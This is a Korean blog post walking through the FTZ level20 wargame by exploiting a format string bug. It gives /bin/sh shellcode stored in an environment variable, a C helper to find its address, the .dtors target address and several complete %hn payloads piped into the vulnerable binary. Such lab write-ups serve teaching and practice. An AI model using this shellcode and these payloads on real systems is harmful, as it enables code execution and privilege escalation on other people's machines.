본문 바로가기
System/Linux

포맷 스트링 버그 - FSB (Format String Bug) 기본 연습하기

by bbolmin 2012. 5. 2.

포맷 스트링 버그

 

해커 스쿨의 ftz level20 포맷 스트링 버그 문제를 풀면서 연습을 해보겠습니다.

 

먼저 포맷 스트링 버그의 원리에 대해서는 아래 블로그를  참고하세요.

http://geundi.tistory.com/133


 

그럼 ftz의 level20문제를 풀어보겠습니다.

 

일단 문제를 출력해보면 printf에서 포맷 스트링 버그가 있다는 것을 알 수 있습니다.

그럼 포맷 스트링 공격을 시도해봅시다.

 

 

1. 먼저 shellcode를 환경 변수에 넣어 줍니다. 

export CODE=`perl -e 'print "\x90"x100, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x16'`


 

2. 쉘코드가 있는 환경 변수(CODE)의 주소 값을 구합니다. 

 

환경 변수 CODE의 주소 값은 0xbfffff14가 됩니다. env프로그램은 getenv()함수를 사용하여 주소값을 출력해주는 프로그램입니다.

#include <stdio.h>

int main(int argc, char *argv[])
{
 printf("address : %x\n", getenv(argv[1]));
 return 0;
}

 

 

3. 덮어쓸 영역(.dtors)의 주소 값을 구해줍니다.  

덮어쓸 영역의 주소 값은 0x8049594+4 ->0x8049598 가 됩니다.

 

 

4. %x를 넣어 4byte올라가면서 입력받은 data가 들어가는 버퍼까지 도달하는 거리를 구해봅니다.    (덮어쓸 .dtors의 주소값이 버퍼에 저장되어 있으므로)

 

 

CODE의 주소 값 : 0xbfffff14

dtors의 주소 값 : 0x8049598

필요한 %x의 개수 : 4개


 

이제 공격 코드를 완성시켜보면

 

aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%8x%65260c%hn%49387c%hn가 됩니다.

(0xbfffff14에서 65260와 49387이 나온 이유는 맨 위의 참고 블로그를 봐주세요 )

[*] 0x804959a, 0x8049598 순서로 bfff, ff14를 넣는 것도 가능함. ( 단 %n이 아닌 %hn을 사용한다면)

 

 

그럼 아래 명령어로 공격을 시도해보면 ~

(perl -e 'print "aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%8x%65260c%hn%49387c%hn"'; cat) | ./attackme

 

공격에  성공했습니다.

 

 

포맷스트링의 원리는 위와 같으므로 공격 코드는 여러 모양으로 만들 수 있습니다.

- \x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%65264c%hn%49387c%hn

(4번째 %x가 버퍼에 도달한것을 알았으므로 처음의 aaaa를 빼버렸음.)

 

또는 아래처럼 $-flag을 이용해 %x~ 없이 바로 접근할 수도 있습니다. 

- aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%65284c%5\$hn%49387c%7\$hn

           ------5번째-----          ------7번째----- 

 

- \x98\x95\x04\x08\x9a\x95\x04\x08%65292c%4\$hn%49387c%5\$hn

   ------4번째------    ------5번째-----